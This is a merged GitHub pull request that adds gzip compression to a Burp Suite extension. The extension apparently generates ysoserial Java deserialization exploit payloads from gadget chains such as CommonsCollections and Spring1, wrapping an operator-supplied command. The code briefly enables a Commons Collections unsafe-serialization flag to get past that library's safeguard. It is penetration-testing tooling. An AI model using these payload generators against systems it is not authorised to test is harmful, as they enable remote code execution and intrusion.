Skip to content

Add gzip support #3

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
egru merged 1 commit into from
Jul 22, 2019
Merged

Add gzip support #3

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
72 changes: 72 additions & 0 deletions pom.xml
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -7,8 +7,45 @@
<groupId>com.netspi.javaserialkiller</groupId>
<artifactId>javaserialkiller</artifactId>
<version>1.0-SNAPSHOT</version>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<!-- get all project dependencies -->
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<!-- bind to the packaging phase -->
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>8</source>
<target>8</target>
</configuration>
</plugin>
</plugins>
</build>

<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.reflections</groupId>
<artifactId>reflections</artifactId>
Expand All @@ -19,5 +56,40 @@
<artifactId>bsh</artifactId>
<version>2.0b5</version>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.7.0</version>
</dependency>
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>2.1.2</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.2</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>3.0.5.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
<dependency>
<groupId>com.google.guava</groupId>
<artifactId>guava</artifactId>
<version>23</version>
</dependency>
<dependency>
<groupId>com.google.guava</groupId>
<artifactId>guava</artifactId>
<version>16.0.1</version>
</dependency>
</dependencies>
</project>
7 changes: 6 additions & 1 deletion src/main/java/burp/ChildTab.java
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -24,9 +24,11 @@ public class ChildTab implements IMessageEditorController, ActionListener {
private final JPanel panel;

public static boolean isEncoded;
public static boolean isCompressed;

JButton goButton;
JCheckBox base64CheckBox;
JCheckBox compressCheckBox;

private final JComboBox<String> payloadComboBox;

Expand Down Expand Up @@ -66,6 +68,7 @@ public ChildTab(final IBurpExtenderCallbacks callbacks, JTabbedPane tabbedPane,
serializeButton.setActionCommand("serialize");
serializeButton.addActionListener(ChildTab.this);

compressCheckBox = new JCheckBox("Gzip");
base64CheckBox = new JCheckBox("Base64 Encode");

String[] typeStrings = { "BeanShell1","CommonsBeanutilsCollectionsLogging1", "CommonsCollections1", "CommonsCollections2", "CommonsCollections3", "CommonsCollections4","Groovy1","Jdk7u21","Spring1"};
Expand All @@ -75,6 +78,7 @@ public ChildTab(final IBurpExtenderCallbacks callbacks, JTabbedPane tabbedPane,
helpButton.addActionListener(ChildTab.this);
topButtonPanel.add(goButton);
topButtonPanel.add(serializeButton);
topButtonPanel.add(compressCheckBox);
topButtonPanel.add(base64CheckBox);
topButtonPanel.add(payloadComboBox);
topButtonPanel.add(helpButton);
Expand Down Expand Up @@ -138,12 +142,13 @@ private void serializeRequest() {
// String[] command = Utilities.formatCommand(commandTextField.getText());

boolean isEncoded = base64CheckBox.isSelected();
boolean isCommpressed = compressCheckBox.isSelected();

String command = commandTextField.getText();

String payloadType = payloadComboBox.getSelectedItem().toString();

byte[] httpMessage = Utilities.serializeRequest(message,selectedMessage,isEncoded,command,helpers,payloadType);
byte[] httpMessage = Utilities.serializeRequest(message,selectedMessage,isEncoded, isCommpressed,command,helpers,payloadType);

requestViewer.setMessage(httpMessage, true);

Expand Down
68 changes: 51 additions & 17 deletions src/main/java/burp/Utilities.java
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -5,33 +5,55 @@
import ysoserial.Serializer;
import ysoserial.payloads.ObjectPayload;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Base64;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import java.util.zip.GZIPOutputStream;

public class Utilities {

public static byte[] serializeRequest(byte[] message, byte[] selectedMessage, boolean isEncoded, String command, IExtensionHelpers helpers, String payloadType) {
public static byte[] gzipByteArray(byte[] data) {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
GZIPOutputStream gzip = new GZIPOutputStream(bos);
gzip.write(data);
gzip.close();
data = bos.toByteArray();
bos.close();
} catch (IOException ignored) {
}

return data;
}

public static byte[] serializeRequest(
byte[] message, byte[] selectedMessage, boolean isEncoded, boolean isCompressed, String command,
IExtensionHelpers helpers, String payloadType
) {

int selectedOffset = 0;
int endingOffset = 0;

if (selectedMessage != null){
if (selectedMessage != null) {
selectedOffset = Bytes.indexOf(message, selectedMessage);
endingOffset = selectedOffset + selectedMessage.length;

} else if(ChildTab.selectedMessage != null) {

} else if (ChildTab.selectedMessage != null) {
byte[] payload = ChildTab.selectedMessage;
if (ChildTab.isCompressed) {
payload = gzipByteArray(payload);
}
if (ChildTab.isEncoded) {
selectedOffset = Bytes.indexOf(message, Base64.getEncoder().encode(ChildTab.selectedMessage));
endingOffset = selectedOffset + Base64.getEncoder().encode(ChildTab.selectedMessage).length;
} else {
selectedOffset = Bytes.indexOf(message, ChildTab.selectedMessage);
endingOffset = selectedOffset + ChildTab.selectedMessage.length;
payload = Base64.getEncoder().encode(payload);
}

selectedOffset = Bytes.indexOf(message, payload);
endingOffset = selectedOffset + payload.length;
}

if (ChildTab.selectedMessage != null || selectedMessage != null) {
Expand All @@ -43,6 +65,14 @@ public static byte[] serializeRequest(byte[] message, byte[] selectedMessage, bo

ChildTab.selectedMessage = exploitArray;


if (isCompressed) {
exploitArray = gzipByteArray(exploitArray);
ChildTab.isCompressed = true;
} else {
ChildTab.isCompressed = false;
}

byte[] output;

if (isEncoded) {
Expand All @@ -67,20 +97,24 @@ public static byte[] serializeRequest(byte[] message, byte[] selectedMessage, bo

return helpers.buildHttpMessage(headers, newBody);
} else {
return message;
}
return message;
}
}

private static byte[] getExploitPayload(String payloadType, String command){
private static byte[] getExploitPayload(String payloadType, String command) {

final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType.split(" ")[0]);
final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass(
payloadType.split(" ")[0]
);

byte[] exploitPayload = new byte[0];

try {
final ObjectPayload payload = payloadClass.newInstance();
final Object object = payload.getObject(command);
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");
exploitPayload = Serializer.serialize(object);
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "false");
} catch (Throwable e) {
System.err.println("Error while generating or serializing payload");
e.printStackTrace();
Expand All @@ -90,19 +124,19 @@ private static byte[] getExploitPayload(String payloadType, String command){

}

public static String[] formatCommand(String command){
public static String[] formatCommand(String command) {
List<String> list = new ArrayList<>();
Matcher m = Pattern.compile("([^\']\\S*|\'.*?(.*).*?.+?\')\\s*").matcher(command);
int first;
int last;
String firstFix;
String lastFix;
while (m.find()) {
if(m.group(1).contains("\'")){
if (m.group(1).contains("\'")) {
first = m.group(1).indexOf('\'');
firstFix = new StringBuilder(m.group(1)).replace(first,first+1,"").toString();
firstFix = new StringBuilder(m.group(1)).replace(first, first + 1, "").toString();
last = firstFix.lastIndexOf('\'');
lastFix = new StringBuilder(firstFix).replace(last,last+1,"").toString();
lastFix = new StringBuilder(firstFix).replace(last, last + 1, "").toString();
list.add(lastFix);
} else {
list.add(m.group(1));
Expand Down